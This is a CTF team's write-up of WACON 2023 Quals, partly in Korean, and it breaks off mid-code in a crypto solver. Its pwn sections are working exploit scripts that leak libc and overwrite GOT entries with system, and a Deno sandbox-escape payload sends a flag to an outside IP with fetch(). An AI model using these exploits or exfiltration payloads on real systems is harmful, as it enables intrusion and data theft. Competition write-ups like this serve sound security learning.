---
# System prepended metadata

title: WACON 2023 Quals

---

# WACON 2023 Quals

**By perfect blue**

* 한국어 참가자 한 명에 외국인 세 명입니다. 한국인이 푼 문제는 한국어로 설명 적어두겠습니다.

## Pwn - flash-memory

Find CRC32 collision to overlap virtual address allocation

```c=
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>

unsigned int checksum(unsigned int seed) {
    unsigned int ret = 0xffffffff;
    unsigned char *ptr = (unsigned char *) &seed;
    for (int i = 0; i < 4; i++) {
        ret = ret ^ ptr[i];
        for (int j = 0; j < 8; j++) {
            unsigned int v2 = 0;
            if (ret & 1) {
                v2 = 0xEDB88320;
            }
            ret = v2 ^ (ret >> 1);
        }
    }
    return ~ret;
}

typedef struct {
    unsigned int target;
    unsigned int start;
    unsigned int end;
} SearchData;

void *search(void *arg) {
    SearchData *data = (SearchData *) arg;
    for (unsigned int brute = data->start; brute <= data->end; brute++) {
        if (checksum(brute) == data->target) {
            printf("Found: %u\n", brute);
            return NULL;
        }
    }
    return NULL;
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <number>\n", argv[0]);
        return 1;
    }

    char *endptr;
    unsigned int target = strtoul(argv[1], &endptr, 0);

    if (*endptr != '\0') {
        fprintf(stderr, "Invalid characters found: %s\n", endptr);
        return 1;
    }

    const int num_threads = 8;  // Set this according to your CPU cores
    pthread_t threads[num_threads];
    SearchData data[num_threads];

    unsigned int range = 0xFFFFFFFF / num_threads;

    for (int i = 0; i < num_threads; i++) {
        data[i].target = target;
        data[i].start = i * range;
        data[i].end = (i + 1) * range - 1;
        pthread_create(&threads[i], NULL, search, &data[i]);
    }

    for (int i = 0; i < num_threads; i++) {
        pthread_join(threads[i], NULL);
    }

    return 0;
}
```

```python=
from pwn import *

def allocate_memory(priv_key, size):
    r.sendlineafter(":> ", "2")
    r.sendlineafter(":> ", priv_key)
    r.sendlineafter(":> ", str(size))

def get_collision(value):
    cmd = "./collide %d" % value
    print(cmd)
    r = process(cmd.split())
    r.recvuntil("Found: ")
    v = int(r.recvline())
    r.close()
    return v

def read_memory(index):
    r.sendlineafter(":> ", "3")
    r.sendlineafter(":> ", str(index))

def write_memory(index, data):
    r.sendlineafter(":> ", "4")
    r.sendlineafter(":> ", str(index))
    r.send(data)

# r = process("./app")
r = remote("58.229.185.61", 10002)

data = r.recvuntil("======================================").replace("======================================", "").strip().split("\n")

virt_addrs = []
for i in data:
    virt_addrs.append(int(i.split(" : ")[1], 16))
    print(hex(virt_addrs[-1]))

collision = get_collision(virt_addrs[0] >> 12)
print(hex(collision))

allocate_memory(p32(collision), 0x88)
read_memory(0)
data = r.recv(0x38)

print("Dump")
for i in range(0, 0x38, 8):
    print(hex(u64(data[i:i+8])))

libc_base = u64(data[0x18:0x20]) - 0x62200
print("Libc base", hex(libc_base))
system = libc_base + 0x50d60

# 0x30 is strlen
write_memory(0x30, p64(system))

r.sendlineafter(":> ", "1")
r.sendlineafter(":> ", "2")
r.sendlineafter(":> ", "cat flag")
r.sendlineafter(":> ", "4")

r.interactive()
```

## Pwn - dumb-contract

```python=
from pwn import *
import binascii
import ctypes
# Push inputData[offset}]
def pushInput(offset):
    return "\x10" + p64(offset)

def halt():
    return "\x20"

def add():
    return "\x21"

def mult():
    return "\x22"

def sub():
    return "\x23"

def div():
    return "\x24"

def lshift():
    return "\x25"

def rshift():
    return "\x26"

# Push code[offset]
def pushCode(offset):
    return "\x30" + p64(offset)

def dup():
    return "\x31"

# Memory[PopA] = PopB
def storeMemory():
    return "\x40"

# Push Memory[PopA]
def loadMemory():
    return "\x41"

def jmp(offset):
    return "\x50" + p64(offset)
    
def jz(offset):
    return "\x51" + p64(offset)

def jnz(offset):
    return "\x52" + p64(offset)

def jg(offset):
    return "\x53" + p64(offset)

def jge(offset):
    return "\x54" + p64(offset)

def jl(offset):
    return "\x55" + p64(offset)

def jle(offset):
    return "\x56" + p64(offset)

# Stack => seed, new size
def resizeData():
    return "\x60"

# Stack => seed, offset, data
def writeData():
    return "\x61"

# Stack => seed, offset
def readData():
    return "\x62"

# Push SHA256(memory[offset:offset+size])
# Stack => offset, size
def hashMemory():
    return "\x70"

# Stack => contract address, input address, input size, output address, gas limit
def call():
    return "\x81"

# Output value from stack
def out():
    return "\x83"


def load_code(data):
    r.sendlineafter("5. Exit","1")
    r.sendlineafter(":", binascii.hexlify(data))
    r.recvuntil("Loaded code at address: ")
    addr = int(r.recvline().rstrip(),16)
    log.info("address: "+hex(addr))
    return addr

r = remote("58.229.185.49", "13337")
pause()


writer = ""
exception_trigger = ""
exception_trigger += pushInput(0)
exception_trigger += jnz(57) # absolute offset

exception_trigger += pushCode(0x38/8)
exception_trigger += pushCode(0)
exception_trigger += resizeData()

exception_trigger += pushCode(0x0)
exception_trigger += pushCode(0)
exception_trigger += resizeData()


exception_trigger += halt()

print(len(exception_trigger))

for i in range(1,3):
    exception_trigger += pushCode(0x2)
    exception_trigger += pushCode(i)
    exception_trigger += resizeData()

# set up overlayed tree entry

# uncomment for debugging
# exception_trigger += pushCode(0xdeadbeef)
# exception_trigger += pushCode(0x28 / 8)
# exception_trigger += pushCode(0) # 
# exception_trigger += writeData() # 

exception_trigger += pushCode(0x11234455667788) # size
exception_trigger += pushCode(0x30/ 8)
exception_trigger += pushCode(0) # 
exception_trigger += writeData() # 

# offset 0x28 - addr
# offset 0x30 - size

# read out pointer at offset 8
exception_trigger += pushCode(0x8 / 8) # offset
exception_trigger += pushCode(0) # seed
exception_trigger += readData()

# read out pointer is at the top of the stack
exception_trigger += pushCode(0x28/8) # offset
exception_trigger += pushCode(0) # seed
exception_trigger += writeData() 

# # use victim object for arbitrary read
# # stack ptr is at offset 8
# exception_trigger += pushCode(0x8 / 8) # offset
# exception_trigger += pushCode(1) # seed
# exception_trigger += readData()


# # stack ptr is at the top of the stack
# exception_trigger += pushCode(0x28/8) # offset
# exception_trigger += pushCode(0) # seed
# exception_trigger += writeData() 


# then read libc leak at offset 0x48
exception_trigger += pushCode(0x48 / 8) # offset
exception_trigger += pushCode(1) # seed
exception_trigger += readData() 

# TODO: adjust libc leak
exception_trigger += pushCode(ctypes.c_uint64(-0x29d90).value)
exception_trigger += add()
# exception_trigger += dup() # libc base

# # then read PIE leak at offset 0x58
exception_trigger += pushCode(0x58 / 8) # offset
exception_trigger += pushCode(1) # seed
exception_trigger += readData() 

# offset 0x50040 gives pc control

# TODO: adjust pie base
exception_trigger += pushCode(ctypes.c_uint64(-0x28020).value)
# exception_trigger += pushCode(0xf000000000000000)
exception_trigger += add()
exception_trigger += pushCode(0x0000000000050298) # realloc @ got
exception_trigger += add()


exception_trigger += pushCode(0x28/8) # offset
exception_trigger += pushCode(0) # seed
exception_trigger += writeData() 



# exception_trigger += pushCode(0xc0ffee)
# exception_trigger += pushCode(0)
# exception_trigger += pushCode(2) # seed of victim rbtree entry
# exception_trigger += writeData() # 

# pop till libc addr
#exception_trigger += out()
# exception_trigger += pushCode(0xf000000000000000)
exception_trigger += pushCode(0x50d60) # system
exception_trigger += add()
#exception_trigger += pushCode(0xfeedfeed)
exception_trigger += pushCode(0)
exception_trigger += pushCode(1) # seed of victim rbtree entry
exception_trigger += writeData() # 

# setup cmd for system
exception_trigger += pushCode(0x0068732f6e69622f)
exception_trigger += pushCode(0)
exception_trigger += pushCode(2) # seed
exception_trigger += writeData()

# trigger realloc
exception_trigger += pushCode(0x7)
exception_trigger += pushCode(2)
exception_trigger += resizeData()

exception_trigger += halt()

#pause()



exception_trigger_addr = load_code(exception_trigger)

writer += pushCode(0)
writer += pushCode(0)
writer += storeMemory()

writer += pushCode(391 - 2) # child gas
writer += pushCode(0)
writer += pushCode(8)
writer += pushCode(0)
writer += pushCode(exception_trigger_addr)
writer += call()

writer += pushCode(1)
writer += pushCode(0)
writer += storeMemory()

writer += pushCode(0xffffffff) # child gas
writer += pushCode(0)
writer += pushCode(8)
writer += pushCode(0)
writer += pushCode(exception_trigger_addr)
writer += call()


writer += halt()
# 82233 exception trigger


writer_addr = load_code(writer)

txheader = p64(writer_addr) + p64(0xffffffff)
# txheader = p64(exception_trigger_addr) + p64(0xffffffff)

r.sendline("2")
# r.sendline("4")
r.sendlineafter("Give me input bytes in hex:",binascii.hexlify(txheader))

r.interactive()
```

## Pwn - sorry

The first binary allows people to just read the flag.

The binary runs a custom VM. We can leak libc and exploit it easily.

```python=
from pwn import *
import os

"""
0 -> 34643 - set_register(a1, a2)
1 -> 34651 - get_register(a1)
2 -> 34657 - reg(a1) + reg(a2)
3 -> 34672 - set_reg(0, reg(a1) + reg(a2))
4 -> 34691 - reg(a1) - reg(a2)
5 -> 34706 - set_reg(0, reg(a1) - reg(a2))
6 -> 34725 - reg(a1) * reg(a2)
7 -> 34740 - set_reg(0, reg(a1) * reg(a2))
8 -> 34759 - get_mem(get_reg(a1))
9 -> 34770 - get_mem(a1)
10 -> 34776 - set_reg(0, get_mem(get_reg(a1))
11 -> 34791 - set_reg(0, get_mem(a1))
12 -> 34803 - set_mem(a1, a2)
13 -> 34811 - set_mem(a1, get_reg(a2))
14 -> 34824 - set_mem(get_reg(a1), get_reg(a2))
15 -> 34840 - syscall
16 -> 34845 - set_reg(a1, get_reg(a2))
17 -> 34858 - set_mem(get_reg(a1), a2)

"""

def get_regs(p):
    regs = []
    for i in range(16):
        regs.append(int(p.recvline().strip().decode('utf-8').split()[-1]))
    return regs

SET = 0
GET = 1
ADD = 3
SUB = 5
MUL = 7
LOAD_REG = 10
LOAD_IMM = 11
STORE_IMM_IMM = 12
STORE_IMM_REG = 13
STORE_REG_REG = 14
SYSCALL = 15
MOVE = 16
STORE_REG_IMM = 17

def mul_const(i, c):
    return (
            [SET, 1, c] +
            [MUL, 1, i] +
            [MOV, i, 0]
            )

code = []

# leak heap
code += [LOAD_IMM, 2, 0]
code += [MOVE, 1, 0]
code += [SET, 0, 1]
code += [SYSCALL, 0, 0]

# load offset for lib leak
code += [SET, 1, 1]
code += [SET, 0, 2]
code += [SYSCALL, 0, 0]

# leak lib
code += [LOAD_REG, 1, 0]
code += [MOVE, 1, 0]
code += [SET, 0, 1]
code += [SYSCALL, 0, 0]

# read offset for heap write
code += [SET, 1, 2]
code += [SET, 0, 2]
code += [SYSCALL, 0, 0]

# read value for heap write
code += [SET, 1, 3]
code += [SET, 0, 2]
code += [SYSCALL, 0, 0]

# debug check
# code += [SET, 0, 1]
# code += [SYSCALL, 0, 0]

# do heap write
code += [STORE_REG_REG, 2, 3]

# trigger
code += [SYSCALL, 0, 0]

p = remote("58.229.185.61", 10001)
p.recvline()
code = bytes(code)
p.send(code)
heap_leak = get_regs(p)[1]
heap_leak = heap_leak * 2 + 1
heap_leak = heap_leak * 2 + 2
heap_leak += 0x10
print(hex(heap_leak))

p.send(str((0x2aa0//8) * 2 + 1).encode() + b"\n")

lib_leak = get_regs(p)[1]
lib_leak = lib_leak * 2 + 1
lib_leak = lib_leak * 2 + 2
print(hex(lib_leak))
target = lib_leak + 0x1290

p.send(str(((0x2aa0 + 0x18)//8) * 2 + 1).encode() + b"\n")
p.send(str(target * 2 + 1).encode() + b"\n")

p.interactive()
```


## Pwn - heaphp

```php=
<?php

function str_repeat($c, $length) {
    $ret = "";
    for ($i = 0; $i < $length; $i++) {
        $ret .= $c;
    }
    return $ret;
}

// Manually implement str_pad without using the built-in function
function str_pad($input, $pad_length, $pad_string, $pad_type) {
    $diff = $pad_length - strlen($input);
    $pad = '';

    for ($i = 0; $i < $diff; $i++) {
        $pad .= $pad_string;
    }

    if ($pad_type == STR_PAD_LEFT) {
        return $pad . $input;
    } else if ($pad_type == STR_PAD_RIGHT) {
        return $input . $pad;
    } else {
        return $pad . $input . $pad;  // STR_PAD_BOTH is not perfectly handled, but this is a simple approximation
    }
}

// Calculate strlen without using the built-in function
function strlen($str) {
    $length = 0;
    while (isset($str[$length])) {
        $length++;
    }
    return $length;
}

function decToHex($dec) {
    $hexDigits = "0123456789abcdef";
    $hex = "";

    do {
        $remainder = $dec % 16;
        $hex = $hexDigits[$remainder] . $hex;
        $dec = ($dec - $remainder) / 16;
    } while ($dec > 0);

    return $hex;
}

function hexdump($data) {
    $offset = 0;
    $length = 0;

    // Manually calculate the length of the string
    for ($i = 0; isset($data[$i]); $i++) {
        $length++;
    }

    while ($offset < $length) {
        // Print the offset in the left-most column
        $offsetStr = decToHex($offset);
        echo str_pad($offsetStr, 8, '0', STR_PAD_LEFT) . "  ";

        // Print 16 bytes as hexadecimal numbers
        for ($i = 0; $i < 16; $i++) {
            if ($i + $offset < $length) {
                $hexStr = decToHex(ord($data[$i + $offset]));
                echo str_pad($hexStr, 2, '0', STR_PAD_LEFT) . " ";
            } else {
                // If there's no data, fill in spaces
                echo "   ";
            }
        }

        echo " ";  // A single space as a separator between hex and ASCII data

        // Print ASCII characters
        for ($i = 0; $i < 16; $i++) {
            if ($i + $offset < $length) {
                $char = $data[$i + $offset];
                if (ord($char) >= 32 && ord($char) <= 126) {
                    // If the character is printable
                    echo $char;
                } else {
                    // If the character is not printable
                    echo ".";
                }
            } else {
                // If there's no data, break the loop
                break;
            }
        }

        echo "\n";  // New line
        $offset += 16;  // Move to the next 16-byte chunk
    }
}

function strToQwordLong($str, $off) {
    $qword = 0;
    for ($i = 0; $i < 8; $i++) {
        $byte = ord($str[$off + $i]);
        $qword |= $byte << (8 * $i);
    }
    return $qword;
}

function chr($code) {
    // Reduce the value to fit within an 8-bit byte
    $code = $code % 256;

    // Manually create ASCII map as a string using \x escape sequences
    $asciiMap = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
                "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F" .
                "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F" .
                "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F" .
                "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F" .
                "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F" .
                "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F" .
                "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F" .
                "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F" .
                "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F" .
                "\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF" .
                "\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF" .
                "\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF" .
                "\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF" .
                "\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF" .
                "\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF";

    // Locate the character by its ASCII code
    return $asciiMap[$code];
}

for ($i = 0; $i < 16; $i++) {
    add_note("A", "/bin/sh"); // 0
}
$idx = add_note(str_repeat("A", 30), str_repeat("B", 48));

edit_note($idx, str_repeat("C", 48));
$idx3 = add_note("A", "A"); // 4
$idx2 = add_note("A", "A"); // 5 should be overlapped with 4's content

$heap = view_note($idx);
hexdump($heap);
$heap = strToQwordLong($heap, 0x28);
echo $heap;

$libc_off = $heap + 0x238df38;
echo "\n";
echo $libc_off;
echo "\n";
echo $heaphp;

// Fix freelist
delete_note($idx3);
delete_note($idx2);

view_note($idx);
edit_note($idx, "AAAAAAA");
edit_note($idx, "AAAAAA");
edit_note($idx, "AAAAA");
edit_note($idx, "AAAA");
edit_note($idx, "AAA");
edit_note($idx, "AA");
edit_note($idx, "A");
edit_note($idx, "\x00");

$idx2 = add_note("B", "B");
$idx3 = add_note("C", "C");

// Find leak

function set_addr($idx, $addr) {
	$temp = "";
	for ($i = 0; $i < 7; $i++) {
		$temp .= chr(($addr >> ($i * 8)) & 0xff);
	}
	edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB" . $temp);
	edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBB");
	edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB");
	edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB");
	edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB");
	edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB");
	edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB");
	edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x08");
}

$heap_base = $heap - 0x30d0 + 0x200000 + 0x3000;
for ($i = 0; $i < 0x30; $i++) {
	$test = $heap_base + $i * 0x1000 + 0x11e0;
	echo "\n";
	echo $test;
	echo "\n";
	set_addr($idx, $test);
	//while(1) {}
	$arb_read = view_note($idx2);
	hexdump($arb_read);
	if ($arb_read == "\x48\x83\xC4\x28\x4D\x89\xE8\x89") {
		echo "\nFOUND\n";
		break;
	}
}

$heaphp = $heap_base + $i*0x1000;
$strlen_got = $heaphp + 0x4018;
set_addr($idx, $strlen_got);

$arb_read = view_note($idx2);
$libc = strToQwordLong($arb_read, 0x0) - 0x19d960;
$system = $libc + 0x50d60;
echo "\nLIBC\n";
echo $libc;
echo "\n";

// Arb write
$addr = "";
for ($i = 0; $i < 8; $i++) {
    $addr .= chr(($system >> ($i * 8)) & 0xff);
}
edit_note($idx2, $addr);

echo "Should win";

add_note("cat /flag.txt", "cat /flag.txt")

?>
```

```python=
from pwn import *
import sys

r = remote("58.229.185.47", 1337)

a = open(sys.argv[1], "r").read()

r.send(a)
r.send("\n-- EOF --\n")

r.recvuntil("Should", timeout=1)
r.sendline("ls")

r.interactive()
```



## Web - warmup-revenge

- You put 0x0d in the header returned for download to get HTML injection. php rejects the content-disposition header cuz it has 0x0d so the downloaded file is now executed as HTML
- Bypass CSP by putting a script src to another download file, that has the JS you want to execute

## Web - dino jail

```python=
INITIAL_PAYLOAD = """
eval(atob(Deno.args[0]).slice(100));
"""

INITIAL_PAYLOAD += ";"*(100 - len(INITIAL_PAYLOAD))+"\n"*10

INITIAL_PAYLOAD += """
const file = Deno.openSync("/dev/ptmx", {read:true, write: true})
const file2 = Deno.openSync("/dev/ptmx", { read: true, write: true })
const file3 = Deno.openSync("/dev/ptmx", { read: true, write: true })
file.write(new TextEncoder().encode("y\\n".repeat(10000)))

let deet = new Deno.Command("/readflag").outputSync().stdout
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
"""

import base64
from pwn import *

deet = base64.b64encode(INITIAL_PAYLOAD.encode())
print(deet)

r = remote("58.229.185.56", 2323)
r.sendlineafter("t: ", deet)
r.interactive()
```

## Web - mosaic

![](https://i.ibb.co/M6FTQZh/image3.png)
![](https://i.ibb.co/xj39CN1/image.png)
![](https://i.ibb.co/8jnLcRC/image2.png)

## Rev - Baby Artist

The binary is written with Piet, which is a 2D programming language. The binary checkes some constraints, and each constraint calculation ends with NOT op. Therefore, we fetched every NOT op and then did brute-force byte by byte with trace logs as side-channel.

```python=
from pwn import *
from string import printable
from itertools import product
from tqdm import tqdm

alph = printable.rstrip()
context.log_level = "warning"


def check(res):
    for i in range(len(res)):
        if res[i] == "action: not":
            if res[i-3].split(" ")[4] != "0":
                return i
    return 100000000000

def checkinput(inp):
    assert len(inp) == 35
    r = process(["./npiet", "-v", "-t", "cropped.png"])
    r.sendline(inp.encode())
    res = r.recvall()
    r.kill()
    res = res.decode().splitlines()
    return check(res)

known = [""] * 35

for ro in range(35):
    bestval = -1
    bestchar = ""
    bestindex = -1
    for i in range(35)[::-1]:
        if known[i] != "": continue
        guess = known.copy()
        for c in alph:
            guess[i] = c
            val = checkinput(''.join(e if e else "*" for e in guess))
            #print(c, val)
            if val >= bestval:
                print(ro, i, "New best", val, c)
                bestchar = c
                bestval = val
                bestindex = i
    print(bestindex, bestchar)
    known[bestindex] = bestchar
    print(''.join(e if e else "*" for e in known))
```

## Rev - Adult Artist

Every instruction is invertible, so run code backwards and reverse every instruction.

```python=
from pwn import *

def rotate_left(n, bits):
    return ((n << bits) | (n >> (32 - bits))) & 0xFFFFFFFF
def rotate_right(n, bits):
    return ((n >> bits) | (n << (32 - bits))) & 0xFFFFFFFF

jmp_table = """.text:08049062 jpt_80491FF     dd offset loc_8049206, offset loc_804CCD3, offset loc_804D921
.text:08049062                 dd offset loc_804E565, offset loc_804F391, offset loc_8050172 ; jump table for switch statement
.text:08049062                 dd offset loc_8051147, offset loc_80520E4, offset loc_8052F53
.text:08049062                 dd offset loc_8053E01, offset loc_8054C34, offset loc_8055A36
.text:08049062                 dd offset loc_805680D, offset loc_8057603, offset loc_8058417
.text:08049062                 dd offset loc_80592D0, offset loc_805A26C, offset loc_805B1A8
.text:08049062                 dd offset loc_805C189, offset loc_805D214, offset loc_805E3E4
.text:08049062                 dd offset loc_805F960, offset loc_8061309, offset loc_8062EBF
.text:08049062                 dd offset loc_8064ABC, offset loc_8066618, offset loc_8068236
.text:08049062                 dd offset loc_8069F4F, offset loc_806BDAA, offset loc_806DF5B
.text:08049062                 dd offset loc_8070050, offset loc_8071F38, offset loc_8073F2C
.text:08049062                 dd offset loc_8075B49, offset loc_80774F2, offset loc_8078FE6
.text:08049062                 dd offset loc_807AD9E, offset loc_807CB59, offset loc_807E805
.text:08049062                 dd offset loc_8080549, offset loc_80821A4, offset loc_8083F68
.text:08049062                 dd offset loc_8085D9D, offset loc_8087D1A, offset loc_8089BCC
.text:08049062                 dd offset loc_808B60B, offset loc_808D4D1, offset loc_808FB51
.text:08049062                 dd offset loc_8092136, offset loc_8094763, offset loc_8096AA0
.text:08049062                 dd offset loc_8098C19, offset loc_809AEBA, offset loc_809D252
.text:08049062                 dd offset loc_809F678, offset loc_80A1B4D, offset loc_80A3CE6
.text:08049062                 dd offset loc_80A5B61, offset loc_80A7B67, offset loc_80A98CB
.text:08049062                 dd offset loc_80AB6D0, offset loc_80AD4F1, offset loc_80AF427
.text:08049062                 dd offset loc_80B1354, offset loc_80B3388, offset loc_80B5091
.text:08049062                 dd offset loc_80B71BB, offset loc_80B93AE, offset loc_80BB646
.text:08049062                 dd offset loc_80BD6D5, offset loc_80BF5F3, offset loc_80C145A
.text:08049062                 dd offset loc_80C306D, offset loc_80C4C18, offset loc_80C6942
.text:08049062                 dd offset loc_80C8611, offset loc_80CA20A, offset loc_80CBCF4
.text:08049062                 dd offset loc_80CD4B2, offset loc_80CEE78, offset loc_80D0865
.text:08049062                 dd offset loc_80D21D7, offset loc_80D3B7D, offset loc_80D5074
.text:08049062                 dd offset loc_80D6073, offset loc_80D721D, offset loc_80D841C
.text:08049062                 dd offset loc_80D95BC, offset loc_80DA6B8, offset loc_80DB6CA
.text:08049062                 dd offset loc_80DC6FE, offset loc_80DD6A4, offset loc_80DE58B
.text:08049062                 dd offset loc_80DF456, offset loc_80E02DF, offset loc_80E114C
.text:08049062                 dd offset loc_80E211C, offset loc_80E30F3, offset loc_80E413A
.text:08049062                 dd offset loc_80E51A0, offset loc_80E5DEC""".split()

dump = open("dump", "r").read().split("\n")
binary = open("masterpiece", "r").read()

def get_relevant_instructions(start_addr):
    ret = []

    terminate = "jmp	0x80e69f5"
    start = False
    i = 0
    while i < len(dump):
        line = dump[i]
        current_addr = int(line.strip().split()[0][:-1], 16)
        if current_addr == start_addr:
            start = True
        
        if start:
            if "vfmaddsub132ps" in line:
                i += 1
                continue
            if terminate in line:
                return ret
            if "jmp" in line:
                i += 1
                continue
            if "cl, al" in line:
                assert "al, byte ptr [ecx + 135168024]" in dump[i+1]
                i += 1
                ret.append("lookup al")
            elif "cl, ah" in line:
                assert "ah, byte ptr [ecx + 135168024]" in dump[i+1]
                i += 1
                ret.append("lookup ah")
            else:
                ret.append("\t".join(line.split("\t")[1:]))
        
        i += 1
    
    assert False

def solver(instructions, target_value):
    eax = target_value
    for ins in instructions[::-1]:
        if ins == "lookup al":
            new_al = inverse_lookup[eax & 0xff]
            eax = (eax ^ (eax & 0xff)) | new_al
        elif ins == "lookup ah":
            new_ah = inverse_lookup[(eax >> 0x8) & 0xff]
            eax = (eax ^ (eax & 0xff00)) | (new_ah << 0x8)
        elif ins.startswith("sub"):
            imm = int(ins.split(", ")[1])
            eax = (eax + imm) & 0xffffffff
        elif ins.startswith("add"):
            imm = int(ins.split(", ")[1])
            eax = (eax - imm) & 0xffffffff
        elif ins.startswith("bswap"):
            eax = ((eax & 0xff) << 24) | ((eax & 0xff00) << 8) | ((eax & 0xff0000) >> 8) | ((eax & 0xff000000) >> 24)
        elif ins == "dec\teax":
            eax = (eax + 1) & 0xffffffff
        elif ins == "inc\teax":
            eax = (eax - 1) & 0xffffffff
        elif ins.startswith("rol"):
            if ", " not in ins:
                imm = 1
            else:
                imm = int(ins.split(", ")[1])
            eax = rotate_right(eax, imm)
        elif ins.startswith("ror"):
            if ", " not in ins:
                imm = 1
            else:
                imm = int(ins.split(", ")[1])
            eax = rotate_left(eax, imm)
        elif ins.startswith("xor"):
            imm = int(ins.split(", ")[1])
            eax = eax ^ imm
        elif ins == "not\teax":
            eax = eax ^ 0xffffffff
        else:
            print("Unsupported instruction")
            print(ins)
            exit()
    return eax

jmp_locs = []
for i in jmp_table:
    if i.startswith("loc_"):
        jmp_locs.append(int(i.replace("loc_", "").replace(",", ""), 16))
        print(hex(jmp_locs[-1]))
    
targets = binary[0xa0118:0xa0118+400]
targets = [u32(targets[i:i+4]) for i in range(0, len(targets), 4)]

lookup_table = binary[0xa0018:0xa0018+256]
lookup_table = [u8(lookup_table[i]) for i in range(256)]
inverse_lookup = [None]*256
for i in range(256):
    inverse_lookup[lookup_table[i]] = i

solutions = []

for i in range(100):
    instructions = get_relevant_instructions(jmp_locs[i])
    target_value = targets[i]
    
    solution = solver(instructions, target_value)
    solutions.append(solution)

sol_string = ""
for i in solutions:
    sol_string += p32(i)
with open("sol.bin", "wb") as f:
    f.write(sol_string)

print(solutions)
```


## Rev - Terrible Flavor

리버싱을 해보면 퍼즐을 푸는 문제이고, 퍼즐은 nxn 격자 형태로 주어지는 것을 알 수 있습니다.
시작점이 주어지며, 해당 시작점으로부터 가로 혹은 세로로 선을 이어나가며 폐곡선을 완성해야 합니다.
또한 격자점마다 숫자가 적혀있는 경우가 있습니다. 이 경우 두 가지 타입(1/2)이 있습니다.

1. 폐곡선의 꼭지점이여야하고, 이 꼭지점에 연결된 두 개의 선의 길이의 합이 적혀있는 숫자여야 함
2. 어떤 선의 중간에 위치해야하고 (꼭지점은 안 됨), 해당 선의 길이가 적혀있는 숫자여야 함

퍼즐 보드는 init_array의 함수 중 하나에서 초기화되며, 총 3개의 보드가 있습니다. 이를 바탕으로 그냥 손으로 풀었습니다.
입력은 폐곡선의 꼭지점을 하나씩 적어서 이어붙이면 됩니다. 11x11 보드의 경우 x나 y가 10인 경우가 있는데 `:` (chr(58))을 사용하면 됩니다.
1. `1011212050554541313212142423333505`
2. `40412122424353507071616373744445757666675756464737362627171606053533232404031312020111`
3. `1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303`

플래그는 이를 이어붙인 `WACON2023{1011212050554541313212142423333505_40412122424353507071616373744445757666675756464737362627171606053533232404031312020111_1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303}` 입니다.

## Crypto - PSS

총 2^17개의 케이스가 주어져있기 때문에, `master_seed`를 하나씩 브루트 포스 하면서 2^17개의 케이스 중 1-level node의 값이 `master_seed`로부터 유도된 값과 일치하는지 확인하면 됩니다.

```python=
from hashlib import sha256
from tqdm import tqdm
import itertools

def cascade_hash(msg, cnt, digest_len):
    assert digest_len <= 32
    msg = msg * 10
    for _ in range(cnt):
        msg = sha256(msg).digest()
    return msg[:digest_len]

def seed_to_permutation(seed):
    permutation = ''
    msg = seed + b"_shuffle"
    while len(permutation) < 16:
        msg = cascade_hash(msg, 777, 32)
        msg_hex = msg.hex()
        for c in msg_hex:
            if c not in permutation:
                permutation += c

    return permutation

N = 8

merkle_proof_indexes = {
